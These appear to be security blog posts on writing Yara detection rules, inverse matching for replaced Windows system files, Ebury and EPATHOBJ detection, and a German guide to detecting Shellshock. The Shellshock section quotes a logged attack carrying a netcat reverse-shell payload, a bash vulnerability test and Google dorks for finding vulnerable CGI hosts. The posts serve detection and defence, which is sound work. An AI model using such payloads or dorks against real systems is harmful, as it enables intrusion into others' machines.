How to Write Simple but Sound Yara Rules

How to Write Simple but Sound Yara Rules

During the last 2 years I wrote approximately 2000 Yara rules based on samples found during our incident response investigations. A lot of security professionals noticed that Yara provides an easy and effective way to write custom rules based on strings or byte sequences found in their samples and allows them as end user to create their own detection tools.
However it makes me sad to see that there are mainly two types of rules published by the researchers:

  1. rules that generate many false positives and
  2. rules that match only the specific sample and are not much better than a hash value.

I therefore decided to write an article on how to build optimal Yara rules, which can be used to scan single samples uploaded to a sandbox and whole file systems with a minimal chance of false positives.
These rules are based on contained strings and easy to comprehend. You do not need to understand the reverse engineering of executables and I decided to avoid the new Yara modules like “pe” which I still consider as “testing” features that may lead to memory leaks or other errors when used in practice.

Automatic Rule Generation

First I believed that automatically generated rules can never be as good as manually created ones. During my work for out IOC scanners THOR and LOKI I had to create hundreds of Yara rules manually and it became clear that there is an obvious disadvantage. What I used to do was to extract UNICODE and ASCII strings from my samples by the following commands:

strings -el samples.exe
strings -a sample.exe

I prefer the UNICODE strings as they are often overlooked and less frequently changed within a certain malware/tool family. Make sure that you use UNICODE strings with the “wide” keyword and ASCII strings with the “ascii” keyword in your rules and use “fullword” if there is a word boundary before and after the string. The problem with this method is that you cannot decide if the string that is returned by the commands is unique for this malware or often used in goodware samples as well.
Look at the extracted strings in the following example:

NTLMSSP
%d.%d.%d.%d
%s\IPC$
\\%s
NT LM 0.12
%s%s%s
%s.exe %s
%s\Admin$\%s.exe
RtlUpcaseUnicodeStringToOemString
LoadLibrary( NTDLL.DLL ) Error:%d

Could you be sure that the string “NT LM 0.12” is a unique one, which is not used by legitimate software?
To accomplish this task for me I developed “yarGen“, a Yara rule generator that ships with a huge string database of common and benign software. I used the Windows system folder files of Windows 2003, Windows 7 and Windows 2008 R2 server, typical software like Microsoft Office, 7zip, Firefox, Chrome, Cygwin and various Antivirus solution program folders to generate the database. yarGen allows you to generate your own database or add folders with more goodware to the existing database.
yarGen extracts all ASCII and UNICODE strings from a sample and removes all strings that do also appear in the goodware string database. Then it evaluates and scores every string by using fuzzy regular expressions and the “Gibberish Detector” that allows yarGen to detect and prefer real language over character chains without meaning. The top 20 of the strings will be integrated in the resulting rule.
Let’s look at two examples from my work. A sample of the Enfal Trojan and a SMB Worm sample.
yarGen generates the following rule for the Enfal Trojan sample:

rule Enfal_Generic {
	meta:
		description = "Auto-generated rule - from 3 different files"
		author = "YarGen Rule Generator"
		reference = "not set"
		date = "2015/02/15"
		super_rule = 1
		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
	strings:
		$s0 = "urlmon" fullword
		$s1 = "Registered trademarks and service marks are the property of their respec" wide
		$s2 = "Micorsoft Corportation" fullword wide
		$s3 = "IM Monnitor Service" fullword wide
		$s4 = "imemonsvc.dll" fullword wide
		$s5 = "iphlpsvc.tmp" fullword
		$s6 = "XpsUnregisterServer" fullword
		$s7 = "XpsRegisterServer" fullword
		$s8 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
		$s9 = "tEHt;HuD" fullword
		$s10 = "6.0.4.1624" fullword wide
		$s11 = "#*8;->)" fullword
		$s12 = "%/>#?#*8" fullword
		$s13 = "\\%04x%04x\\" fullword
		$s14 = "3,8,18" fullword
		$s15 = "3,4,15" fullword
		$s16 = "3,7,12" fullword
		$s17 = "3,4,13" fullword
		$s18 = "3,8,12" fullword
		$s19 = "3,8,15" fullword
		$s20 = "3,6,12" fullword
	condition:
		all of them
}

The resulting string set contains many useful strings but also random ASCII characters ($s9, $s11, $s12) that do match on the given sample but are less likely to produce the same result on other samples of the family.
yarGen generates the following rule for the SMB Worm sample:

rule sig_smb {
	meta:
		description = "Auto-generated rule - file smb.exe"
		author = "YarGen Rule Generator"
		reference = "not set"
		date = "2015/02/15"
		hash = "db6cae5734e433b195d8fc3252cbe58469e42bf3"
	strings:
		$s0 = "LoadLibrary( NTDLL.DLL ) Error:%d" fullword ascii
		$s1 = "SetServiceStatus failed, error code = %d" fullword ascii
		$s2 = "%s\\Admin$\\%s.exe" fullword ascii
		$s3 = "%s.exe %s" fullword ascii
		$s4 = "iloveyou" fullword ascii
		$s5 = "Microsoft@ Windows@ Operating System" fullword wide
		$s6 = "\\svchost.exe" fullword ascii
		$s7 = "secret" fullword ascii
		$s8 = "SVCH0ST.EXE" fullword wide
		$s9 = "msvcrt.bat" fullword ascii
		$s10 = "Hello123" fullword ascii
		$s11 = "princess" fullword ascii
		$s12 = "Password123" fullword ascii
		$s13 = "Password1" fullword ascii
		$s14 = "config.dat" fullword ascii
		$s15 = "sunshine" fullword ascii
		$s16 = "password <=14" fullword ascii
		$s17 = "del /a %1" fullword ascii
		$s18 = "del /a %0" fullword ascii
		$s19 = "result.dat" fullword ascii
		$s20 = "training" fullword ascii
	condition:
		all of them
}

The resulting rules are good enough to use them as they are, but they are far from an optimal solution. However it is good that so many strings have been found, which do not appear in the analyzed goodware samples.
If you don’t want to use or download yarGen, you could also use the online tool Yara Rule Generator provided by Joe Security, which was inspired by/based on yarGen.
It is not necessary to use a generator if your eye is trained and experienced. In this case just read the next section and select the strings to match the requirements of the (what I call) sufficiently generic Yara rules.

Sufficiently Generic Yara Rules

As I said in the introduction rules that generate false positives are pretty annoying. However the real tragedy is that most of the rules are far too specific to match on more than one sample and are therefore almost as useful as a file hash.
What I tend to do with the rules is to check all the strings and put them into at least 2 different categories:

  • Very specific strings = hard indicators for a malicious sample
  • Rare strings = likely that they do not appear in goodware samples, but possible
  • Strings that look common = (Optional) e.g. yarGen output strings that do not seem to be specific but didn’t appear in the goodware string database

Check out the modified rules in order to understand this splitting. Ignore the definition named $mz, I’ll explain it later and look at the string definitions below.
The definitions starting with $s contain the very specific strings, which I regard as so special that they would not appear in legitimate software. Note the typos in both strings: “Micorsoft Corportation” instead of “Microsoft Corporation” and “Monnitor” instead of “Monitor”.
The strings starting with $x seem to be special (I tend to google the strings) but I cannot say if they also appear in legitimate software. The definitions starting with $z seem to be ordinary but have not been part of the goodware string database so they have to be special in some way.

rule Enfal_Malware_Backdoor {
	meta:
		description = "Generic Rule to detect the Enfal Malware"
		author = "Florian Roth"
		date = "2015/02/10"
		super_rule = 1
		hash0 = "6d484daba3927fc0744b1bbd7981a56ebef95790"
		hash1 = "d4071272cc1bf944e3867db299b3f5dce126f82b"
		hash2 = "6c7c8b804cc76e2c208c6e3b6453cb134d01fa41"
	strings:
		$mz = { 4d 5a }
		$s1 = "Micorsoft Corportation" fullword wide
		$s2 = "IM Monnitor Service" fullword wide
		$x1 = "imemonsvc.dll" fullword wide
		$x2 = "iphlpsvc.tmp" fullword
		$x3 = "{53A4988C-F91F-4054-9076-220AC5EC03F3}" fullword
		$z1 = "urlmon" fullword
		$z2 = "Registered trademarks and service marks are the property of their" wide
		$z3 = "XpsUnregisterServer" fullword
		$z4 = "XpsRegisterServer" fullword
	condition:
		( $mz at 0 ) and
		(
			( 1 of ($s*) ) or
			( 2 of ($x*) and all of ($z*) )
		)
		and filesize < 40000
}

Now check the condition statement and notice that I combine the rules with a magic header of an executable defined by $mz and a file size to exclude typical false positives like Antivirus signature files, browser cache or dictionary files. Set an ample file size value to avoid false negatives. (e.g. samples between 100K and 200K => set file size < 300K)
You can see that I decided that a single occurrence of one of the very specific strings would trigger that rule. ( 1 of $s* )
Than I combine a bunch of less unique strings with most or all of the ordinary looking strings. ( 2 of $x* and all of $z* )
Let’s look at second example. (see below)
$s1 is a very special string with string formatting placeholders “%s” in combination with an Admin$ share. $s2 seems to be the typical “svchost.exe” but contains the number “0” instead of an “O”, which is very uncommon and a clear indicator for something malicious.
All the definitions starting with $a are special but I cannot say for sure if they won’t appear in legitimate software. The strings defined by $x seem ordinary but were produced by yarGen, which means that they did not appear in the goodware string database.
This special example contains a list of typical passwords which is defined by $z1..z8.

rule SMB_Worm_Tool_Generic {
	meta:
		description = "Generic SMB Worm/Malware Signature"
		author = "Florian Roth"
		reference = "http://goo.gl/N3zx1m"
		date = "2015/02/08"
		hash = "db6cae5734e433b195d8fc3252cbe58469e42bf3"
	strings:
		$mz = { 4d 5a }
		$s1 = "%s\\Admin$\\%s.exe" fullword ascii
		$s2 = "SVCH0ST.EXE" fullword wide
		$a1 = "LoadLibrary( NTDLL.DLL ) Error:%d" fullword ascii
		$a2 = "\\svchost.exe" fullword ascii
		$a3 = "msvcrt.bat" fullword ascii
		$a4 = "Microsoft@ Windows@ Operating System" fullword wide
		$x1 = "%s.exe %s" fullword ascii
		$x2 = "password &lt;=14" fullword ascii
		$x3 = "del /a %1" fullword ascii
		$x4 = "del /a %0" fullword ascii
		$x5 = "SetServiceStatus failed, error code = %d" fullword ascii
		$z1 = "secret" fullword ascii
		$z2 = "Hello123" fullword ascii
		$z3 = "princess" fullword ascii
		$z4 = "Password123" fullword ascii
		$z5 = "Password1" fullword ascii
		$z6 = "sunshine" fullword ascii
		$z7 = "training" fullword ascii
		$z8 = "iloveyou" fullword ascii
	condition:
		$mz at 0 and
		( 1 of ($s*) and 1 of ($x*) ) or
		( all of ($a*) and 2 of ($x*) ) or
		( 5 of ($z*) and 2 of ($x*) ) and
		filesize &lt; 200000
}

You see that I combined the string definitions in a similar way as before. This method in combination with the magic header and the file size should be a good starting point for the final stage – testing.

Testing

Testing the rules is very important. It seems that most authors decide that the rules are good enough if they match on the given samples.
You should definitely do the following checks:

  1. Scan the malware samples
  2. Scan a big goodware archive

To carry out the tests download the Yara scanner and run it from the command line. The goodware directory should include system files from various Windows versions, typical software and possible false positive sources (e.g. typical CMS software if you wrote Yara rules that match on malicious web shells)

Yara Rule Testing

Yara Rule Testing on Samples and Goodware

If the rule matched on the malicious samples and did not generate a match on the goodware archive your rule is good enough to test the rule in practice.

Update

Make sure to check Part 2 of “How to Write Simple and Sound YARA Rules”.

Bash Schwachstelle CVE-2014-6271 Shell Shock erkennen

CVE-2014-6271 Bash Shell Shock

Shell Shock Logo – Bild: Paul M. Gerhardt

Dieser Artikel enthält Information dazu, wie Sie die bash Schwachstelle CVE-2014-6271 Shell Shock erkennen und behandeln können.

Betroffene Systeme

Grundsätzlich sind alle Systeme betroffen, die eine “bash” einsetzen, also

  • Linux
  • Unix
  • AIX
  • Solaris
  • HPUX
  • D.h. auch viele Embedded Systems, Network Devices, Appliances

Die Remote Ausnutzung der Schwachstelle bedarf aber eines remote erreichbaren Dienstes, der in einer bestimmten Form Gebrauch von der Bash macht. Aus unserer Sicht stehen besonders all jene Systeme im Fokus , die eine simple Web Applikation anbieten oder eine Web Applikation, die systemnahe Befehle ausführt.
Beispiele:

  • Druckserver
  • Video-Kameras
  • Haustechnik
  • Anzeigesysteme
  • ILO Boards
  • ICS und SCADA Systeme
  • Appliances (proprietär mit Web Interface und reduziertem Remote Zugang)
  • Usw.

Aber auch jegliche einfache Web Applikation, die “popen()” oder “system()” calls verwendet. Auch finden sich des öfteren aktive Skripts in “cgi-bin” Ordnern, die entweder in Perl oder anderen eher empfindlichen Sprachen verfasst sind.
Große Web Frameworks wie CMS Systeme, J2EE oder Web Sphere sind mit hoher Wahrscheinlichkeit nicht verwundbar.

Kritikalität

Auch wenn der Angriffsvektor vielfältig ist und es keinen einfachen Weg der Erkennung von anfälligen Anwendung gibt, ist das Schadenspotential erheblich. Diese Einschätzung liegt darin begründet, dass wenn eine verwundbare Applikation gefunden wird, das dazugehörige Exploit extrem simpel anzuwenden sein wird. Es kann ein einfacher URL Aufruf oder eine “curl” Kommandozeile sein, die zur Ausnutzung der Schwachstelle benötigt wird.
Das Schadenspotential des Angriffs ist im Gegensatz zu Heartbleed auch deshalb enorm, weil der Angreifer den schadhaften Code direkt unter dem Benutzer des verwundbaren Dienstes ausführen kann und im schlimmsten Fall das System direkt komplett übernommen wird. Das ermöglicht auch die Entwicklung von Würmern, die gezielt die bereits bekannten Schwachstellen diverser Produkte ausnutzt und sich dann über diese Geräte verbreitet.
Die große Schwierigkeit besteht dann darin, solche “neuartigen” Würmer effizient und koordiniert zu entfernen, denn Appliances, Haustechnik und andere Embedded Devices stellten Sicherheitsorganisationen in der Vergangenheit bereits bei Würmern im Windows Umfeld vor große Herausforderungen.
Vektor: Vielfältig
Schaden: Hoch
Komplexität: Niedrig
Remote ausnutzbar: Ja (wenn remote angebotener Dienst bash Funktionen nutzt)

Erkennung

Das Problem mit dieser Schwachstelle ist, dass es keinen klaren Check oder Indikator auf Systemebene geben kann, denn die Schwachstelle ist nicht auf ein einzelnes verwundbares Skript oder Produkt beschränkt. Selbst die Ausnutzung über das DHCP Protokoll wurde bereits in einem POC demonstriert.
Verwundbare Skripte und Applikationen könnten in allen möglichen Produkten stecken.

Netzwerkebene

Die einzig sinnvolle Lösung ist derzeit die Erkennung im Netzwerkverkehr mittels IDS/IPS Systemen, die schadhafte Anfragen im HTTP Datenstrom oder anderen Protokollen an Hand von Signaturen erkennen und nötigenfalls die Verbindung direkt blocken können, wenn sie “inline” betrieben werden.

Systemebene

Eine Erkennung auf Systemebene ist nur schwer möglich, da die schadhaften Codes in die Umgebungsvariablen des Benutzers injiziert werden, unter dessen Konto der ausgenutzte Dienst läuft. Die Codes sind also nur im Speicher des Systems vorhanden.
Das System Diagnose Werkzeug “sysdig” hat bereits eine Lösung integriert, allerdings ist sie nur für die Überwachung von Einzelsystemen geeignet und bedarf noch aufwändiger Zusatzarbeiten, um die von Sysdig generierten Outputs zentral in ein Security Monitoring zu integrieren.
Wenn Apache Access Logs in einem Security Monitoring (SIEM) zusammengeführt werden, lohnt es sich diese Logfiles zu überwachen. Die Zeilen eines Angriffs und der derzeit bekannten Würmer sehen folgendermaßen aus (im Listing wird die Injection über den User-Agent String vorgenommen, der naütrlich im Log Format definiert sein muss):

213.5.67.223 - - [26/Sep/2014:10:37:34 +0200] "GET /cgi-bin/poc.cgi HTTP/1.1" 200 1066 "-" "() { :; }; /bin/nc -e /bin/sh 213.5.67.223 4444 &”

Eine Suche nach folgendem Regex in den Access Logs, kann schadhafte Request sichtbar machen:

\(\)\s\{.*;\s*\};

Verwundbarkeit feststellen

Um zu testen, ob die Bash eines Systems überhaupt verwundbar wäre, wenn ein angreifer von außen Codes injizieren kann, eignet sich folgender Aufruf:

env x='() { :;}; echo vulnerable' bash -c 'echo hello'

Wenn die Bash verwundbar ist, wird ein “vulnerable” ausgegeben”, ansonsten wird ein Fehler angezeigt.

Schutzmöglichkeiten

Patching

Diverse Hersteller von Linux Distributionen bieten bereits Patche an. Da viele der sofort bereitgestellten Patches keine Wirkung hatten, wurde ein neuer CVE-2014-7169 geöffnet, um die zwar gepatche aber dennoch verwundbare Bash Thematik zu behandeln. Diese CVE Nummer sollte also ebenso im Auge behalten werden.

Blocking via IPS / WAF

Wie oben bereits beschrieben, sehen wir die einzig derzeit verfügbare Schutzfunktion in IDS/IPS Systemen und WAFs. (Web Application Firewalls)
Sowohl die Open Source Lösungen Snort und Bro als auch professionelle IDS Systeme stehen Signaturen bereit, die bei einem “inline” installierten System auf “blocking” konfiguriert werden können. Die derzeitigen Angriffe gegen Webserver sind im Netzwerktraffic klar erkennbar und gut mit Regulären Ausdrücken kenntlich zu machen bzw. in Signaturen zu definieren.

Google Dorks

Mit Hilfe dieser Google Suchen können verwundbare Zielsysteme gefunden werden.

inurl:cgi-bin “GATEWAY_INTERFACE = CGI”
inurl:”server-status” intitle:apache “cgi-bin”
sitemap.xml filetype:xml intext:”cgi-bin”
filetype:sh inurl:cgi-bin

Weitere Informationen

Informationen von Rapid7 (Metasploit)
Shell Shock Meldung auf Heise
Beispiele für die Ausnutzung der Schwachstelle

Auf dem Laufenden bleiben

Heise Security berichtet ausgiebig über die “Shell Shock” Schwachstelle.
http://www.heise.de/security/suche/?q=ShellShock&rm=search
Wir empfehlen auch den Twitter Stream zur Suche “CVE-2014-6271”.
https://twitter.com/search?q=CVE-2014-6271

Check Point Remote Access Client Auto Deployment

Setting up a client-to-site VPN using the Check Point (CP) Remote Access Client is a common scenario in CP infrastructures. As the central gateway is set up the Remote Access Client is started, connected to the gateway using valid user credentials, the gateway fingerprint needs to be verified and accepted on the first connection attempt and the VPN is ready to be used as nearly everything
may be configured centrally.
But what if a deployment of thousands of clients is planned? What if the Remote Access Client will be used in an ATM scenario and the deployment has to work without user interaction? Accepting the fingerprint automatically or let the user accept it is not a good choice from a security perspective.
A working solution for this challenge is to deploy the fingerprint together with the Remote Access Client. As the fingerprints are stored in the registry this is possible within a few steps.
But at first a little warning:
The registry key containing the gateway fingerprint is not deleted while the Remote Access Client is uninstalled. When testing auto installation software multiple times on the same system the fingerprint has to be deleted manually before running a test. Otherwise the fingerprint verification is skipped and the test results may be incorrect.
The registry key containing the fingerprints is:
HKEY_LOCAL_MACHINE\SOFTWARE\CheckPoint\accepted_cn\

Check Point Preinstall client-to-site VPNs

Registry Fingerprint

You may now export all fingerprints or a single fingerprint at your choice using the ordinary regedit context menu. The German word “Exportieren” at the figure means “export”.

Checkpoint Remote Client Auto Deployment

Registry Export

As a result you will get a .reg file that you may import on all systems that should know the fingerprint.
To sum all that up to a one click installation a simple two line batch script is sufficient to import the fingerprint and start the “E80.42 for ATM” installation.

regedit /S Fingerprint.reg
CP_EPS_E80.42_RAC_Windows_ATM.msi /quit /forcerestart

This works for most auto deployments and avoids the necessity to verify the fingerprint on every new installation of the Remote Access Client.
Note: This has been tested using Check Point Remote Access Client E40.42 for ATM

How to Scan for System File Manipulations with Yara (Part 2/2)

How to Scan for System File Manipulations with Yara (Part 2/2)

As a follow up on my first article about inverse matching yara rules I would like to add a tutorial on how to scan for system file manipulations using Yara and Powershell. The idea of inverse matching is that we do not scan for something malicious that we already know but for anomalies within the system files. Chad Tilbury from Crowdstrike related to this method in his article describing a way to scan for this type of anomaly using their incident collection tool CrowdResponse. In my first article I described how we utilize this method in our incident response tool and promised a free solution based on available system tools.
The yara rules used to apply this method require the name of the observed file. Yara allows the file name to be passed via an external variable like in the following listing.

yara32.exe -d filename=iexplore.exe inverse-matching.yar iexplore.exe

But we have to define and pass this “filename” variable for every file we analyse while walking the directory tree.
So – what do we do?
First – we need a powershell script that walks a directory tree and feeds each file with an “.exe” extension together with the rule set and the file name as external variable to a yara32.exe. You could copy the script and paste it directly to the command line but I would recommend the following:
Prepare a folder with the following content:

  1. The powershell script as listed below – name it “inverse-scan.ps1”
  2. The ruleset listed below as “inverse-matching.yar”
  3. A version of Yara for Windows
  4. A batch script that invokes the powershell script with some parameters named “runit.bat”

The final result looks like this:

Yara Scan on Anomalies

Inverse Yara Matching Script Set

You can copy that folder to the target system, take it with you on a USB drive or provide a network share with its contents.
inverse-scan.ps1

Get-ChildItem -Recurse -filter *.exe C:\Windows 2> $null |
ForEach-Object { Write-Host -foregroundcolor "green" "Scanning"$_.FullName $_.Name; ./yara32.exe -d filename=$_.Name inverse-matching.yar $_.FullName 2> $null }

runit.bat

@ECHO OFF
powershell -ExecutionPolicy ByPass -File ./inverse-scan.ps1

inverse-matching.yar

rule iexplore_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal iexplore.exe - typical strings not found in file"
		date = "23/04/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win2003_win7_u1 = "IEXPLORE.EXE" wide nocase
		$win2003_win7_u2 = "Internet Explorer" wide fullword
		$win2003_win7_u3 = "translation" wide fullword nocase
		$win2003_win7_u4 = "varfileinfo" wide fullword nocase
	condition:
		not ( $upd_magic at 0 ) and not 1 of ($win*) and filename matches /iexplore\.exe/is
}
rule svchost_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal svchost.exe - typical strings not found in file"
		date = "23/04/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win2003_win7_u1 = "svchost.exe" wide nocase
		$win2003_win7_u3 = "coinitializesecurityparam" wide fullword nocase
		$win2003_win7_u4 = "servicedllunloadonstop" wide fullword nocase
		$win2000 = "Generic Host Process for Win32 Services" wide fullword
		$win2012 = "Host Process for Windows Services" wide fullword
	condition:
		filename matches /svchost\.exe/is and not 1 of ($win*) and not ( $upd_magic at 0 )
}
rule explorer_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal explorer.exe - typical strings not found in file"
		date = "27/05/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$s1 = "EXPLORER.EXE" wide fullword
		$s2 = "Windows Explorer" wide fullword
	condition:
		filename matches /explorer\.exe/is and not 1 of ($s*) and not ( $upd_magic at 0 )
}
rule sethc_ANOMALY {
	meta:
		description = "Sethc.exe has been replaced - Indicates Remote Access Hack RDP"
		author = "F. Roth"
		reference = "http://www.emc.com/collateral/white-papers/h12756-wp-shell-crew.pdf"
		date = "2014/01/23"
		score = 70
	strings:
		$upd_magic = { 44 43 }
		$s1 = "stickykeys" fullword nocase
		$s2 = "stickykeys" wide nocase
		$s3 = "Control_RunDLL access.cpl" wide fullword
		$s4 = "SETHC.EXE" wide fullword
	condition:
		filename matches /sethc\.exe/ and not 1 of ($s*) and not ( $upd_magic at 0 )
}
rule Utilman_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal utilman.exe - typical strings not found in file"
		date = "01/06/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win7 = "utilman.exe" wide fullword
		$win2000 = "Start with Utility Manager" fullword wide
		$win2012 = "utilman2.exe" fullword wide
	condition:
		filename matches /utilman\.exe/is and not 1 of ($win*) and not ( $upd_magic at 0 )
}
rule osk_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal osk.exe (On Screen Keyboard) - typical strings not found in file"
		date = "01/06/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$s1 = "Accessibility On-Screen Keyboard" wide fullword
		$s2 = "\\oskmenu" wide fullword
		$s3 = "&About On-Screen Keyboard..." wide fullword
		$s4 = "Software\\Microsoft\\Osk" wide
	condition:
		filename matches /osk\.exe/is and not 1 of ($s*) and not ( $upd_magic at 0 )
}
rule magnify_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal magnify.exe (Magnifier) - typical strings not found in file"
		date = "01/06/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win7 = "Microsoft Screen Magnifier" wide fullword
		$win2000 = "Microsoft Magnifier" wide fullword
		$winxp = "Software\\Microsoft\\Magnify" wide
	condition:
		filename matches /magnify\.exe/is and not 1 of ($win*) and not ( $upd_magic at 0 )
}
rule narrator_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal narrator.exe - typical strings not found in file"
		date = "01/06/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win7 = "Microsoft-Windows-Narrator" wide fullword
		$win2000 = "&About Narrator..." wide fullword
		$win2012 = "Screen Reader" wide fullword
		$winxp = "Software\\Microsoft\\Narrator"
		$winxp_en = "SOFTWARE\\Microsoft\\Speech\\Voices" wide
	condition:
		filename matches /narrator\.exe/is and not 1 of ($win*) and not ( $upd_magic at 0 )
}
rule notepad_ANOMALY {
	meta:
		author = "Florian Roth"
		description = "Abnormal notepad.exe - typical strings not found in file"
		date = "01/06/2014"
		score = 55
	strings:
		$upd_magic = { 44 43 }
		$win7 = "HELP_ENTRY_ID_NOTEPAD_HELP" wide fullword
		$win2000 = "Do you want to create a new file?" wide fullword
		$win2003 = "Do you want to save the changes?" wide
		$winxp = "Software\\Microsoft\\Notepad" wide
	condition:
		filename matches /notepad\.exe/is and not 1 of ($win*) and not ( $upd_magic at 0 )
}

Although the string descriptors list only some of the windows versions we’ve tested it against the following versions:
Windows 2000
Windows 2003 Server
Windows 7 (x64)
Windows 2008 R2
Windows 2012
What you get as result is a small anomaly scanner made completely with Windows tools and Yara. An administrator would just have to click the Batch file and run the script with admin rights. The following screenshot shows a scan on the Windows folder with a prepared malicious “iexplore.exe” in the subfolder “C:\Windows\AA_Testing”.

Yara Anomaly Scanner

Yara Inverse Matching Anomaly Scanner in Action

You could remove the section “Write-Host -foregroundcolor “green” “Scanning”$_.FullName $_.Name;” to show only the alerts or modify the script that it writes a log file.
We use all of these rules in our APT Scanner THOR and added further rules matching 3rd party tools attackers tend to replace or rename.

Inverse Yara Signature Matching (Part 1/2)

Inverse Yara Signature Matching (Part 1/2)

During our investigations we encountered situations in which attackers replaced valid system files with other system files to achieve persistence and establish a backdoor on the systems. The most frequently used method was the replacement of the “sethc.exe” with the valid command line “cmd.exe” to establish a backdoor right in logon screen by pressing shift several times, popping a command line running under LOCAL_SYSTEM rights.
It is obvious that none of our signatures matched on a valid Windows system file that just had a different name – cmd.exe renamed to sethc.exe. The signature was still intact, the MD5 and SHA1 hash of the file a well known one and listed in the “trusted-md5-hashesh” database. Therefore I introduced the so called “Inverse Yara Signature Matching” that checks if certain system files contain specific strings. THOR extends the Yara functionality by certain values that may be checked including the “filename” of the scanned file. This could also be accomplished by the Yara integrated functionality of external variables.
So – I combined the file name with strings that must exist in the system file and generated a rule that checks for the existence of 4 different strings that I extracted from all “sethc.exe” versions from the different operating system versions (Windows 2003, Windows XP, Windows 7, Windows 2008 and Windows 2012).

strings:
	$s1 = "stickykeys" fullword nocase
	$s2 = "stickykeys" wide nocase
	$s3 = "Control_RunDLL access.cpl" wide
	$s4 = "SETHC.EXE" wide
	$filename = "filename: sethc.exe"
condition:
	$filename and not 1 of ($s*)

The rule matches if the analysed “sethc.exe” does NOT contain the typical string values and therefore indicates a manipulation. This method could be extended to other system files that are typically replaced or placed in uncommon directories like an “explorer.exe” in the “C:\Windows\System32” folder or a “svchost.exe” in the “C:\Windows” folder. We have already integrated checks that compares the file extension with the actual file type but this definitely bringst the anomaly detection to a new level.
Applying the rule listed above we detected over 15 server systems with this backdoor modification in place in a distributed THOR run. In case of the “sethc.exe” we had no false positives but they are possible if new operating system versions of the “sethc.exe” are checked.

Signature Matching sethc.exe

Yara Signature sethc.exe

With this method you are not able to determine the exact malware or malicious modification of the analysed file but you will at least be able to detect the modification.

Update 28.08.14

Thanks to Chad for the back reference to our blog. I even created more rules that match on valid Windows system files and described a way to scan a system with Windows PowerShell. You can find the second part of my article here.

Howto detect Ebury SSH Backdoor

Die folgende Yara Signatur kann für die Erkennung der Ebury SSH Backdoor verwendet werden.

rule Ebury_SSHD_Malware_Linux {
	meta:
		description = "Ebury Malware"
		author = "Florian Roth"
		hash = "4a332ea231df95ba813a5914660979a2"
	strings:
		$s0 = "keyctl_set_reqkey_keyring" fullword
		$s1 = "recursive_session_key_scan" fullword
		$s2 = "keyctl_session_to_parent" fullword
		$s3 = "keyctl_assume_authority" fullword
		$s4 = "keyctl_get_security_alloc" fullword
		$s5 = "keyctl_instantiate_iov" fullword
		$s6 = "keyutils_version_string" fullword
		$s7 = "keyctl_join_session_keyring" fullword
		$a1 = "%[^;];%d;%d;%x;"
	condition:
		all of them
}

Wer kein Yara verwenden möchte, kann auf diesen Workaround zurückgreifen.

find /lib -type f -size -50k -exec strings -f {} \; | grep '%\[^;\];%d;%d;%x;'

Weitere Informationen zur Erkennung von Ebury CERT Bund.

Signatur für Windows 0-day EPATHOBJ Exploit

Am gestrigen Tage wurde eine 0-day Schwachstelle am Microsoft Windows Betriebssystem bekannt, die für sich allein betrachtet bereits als schwerwiegend betrachtet wird, in Zusammenhang mit den uns bekannten Angreifer-Werkzeugen wie dem Windows Credential Editor allerdings als kritisch für jede größere Microsoft Windows Domänen-Infrastruktur angesehen werden muss.
Die im heise Artikel “Google-Forscher veröffentlicht Zero-Day-Exploit für Windows” erwähnte Schwachstelle ermöglicht es jedem Benutzer einer Windows Plattform, sich höchste Rechte auf dem System zu beschaffen. Durch Einsatz des Exploits kann sich selbst ein Gast Benutzer zu dem Benutzer “LOCAL_SYSTEM” eskalieren. Die Anwendung es Exploit ist simple und kann von Personen ohne Fachwissen durchgeführt werden.
Alle Windows Versionen und Architekturen sind betroffen.
Der Schadcode wird von kaum einem Virenscanner erkannt.
0day exploit EPATHOBJ

Ein einfacher Kommandozeilenaufruf erlaubt es, ein Program als LOCAL_SYSTEM zu starten


Folgende Szenarien sind durch das Exploit möglich:

  • Benutzer von Windows Client können sich lokale, administrative Rechte verschaffen
  • Benutzer auf Servern können sich dort administrative Rechte verschaffen
  • Benutzer auf Citrix Farmen können sich dort administrative Rechte verschaffen
  • Malware verwendet das Verfahren, um sich bei Ausführung im eingeschränkten Benutzerkontext lokale Systemrechte zu verschaffen und das System tiefgreifend zu verändern
  • Hacker (z.B. in APT Umfeldern) erhalten so auf Systemen das Recht, auf die gespeicherten LSA Sitzungen von Administratoren zuzugreifen (s.h. Windows Credential Editor Präsentation – Post-Exploitation)

Zusammenspiel mit Windows Credential Editor

Im Zusammenspiel mit dem “Windows Credential Editor” (WCE) wirkt diese Schwachstelle besonders verheerend. Mit dem Windows Credential Editor ist es möglich, LSA Sitzungstokens (NTML Hashes) und Klartextpassworte aus dem Speicher eines Systems zu dumpen. Diese Sitzungsinformationen bleiben teilweise Tage und Wochen im Speicher eines Systems zurück. Es reicht, dass der Angreifer Zugriff auf einen Mitgliedsserver erhält, um NTLM Hashes von Domänenadministratoren aus dem Speicher zu extrahieren.
Übliche Methoden zum Schutz vor diesen Attacken, wie die Wahl eines komplexen Passwortes, welches aus dem Hash nicht zurück berechnet werden kann, greifen nicht. Der WCE stellt Funktionen bereit, die einen einfachen Pass-the-Hash Angriff umsetzen. Dazu muss das Passwort nicht geknackt, sondern nur der Hash weitergereicht werden. In unserem Kundenumfeld setzen Angreifer diese Methode ein, um von Serversystemen in unbedeutenden Außenstandorten, Kommandozeilen mit Rechten eines Domänen-Administrators auf den Domänen-Controllern zu öffnen.
Diese Präsentation beschreibt die Funktionsweise des WCE im Detail.
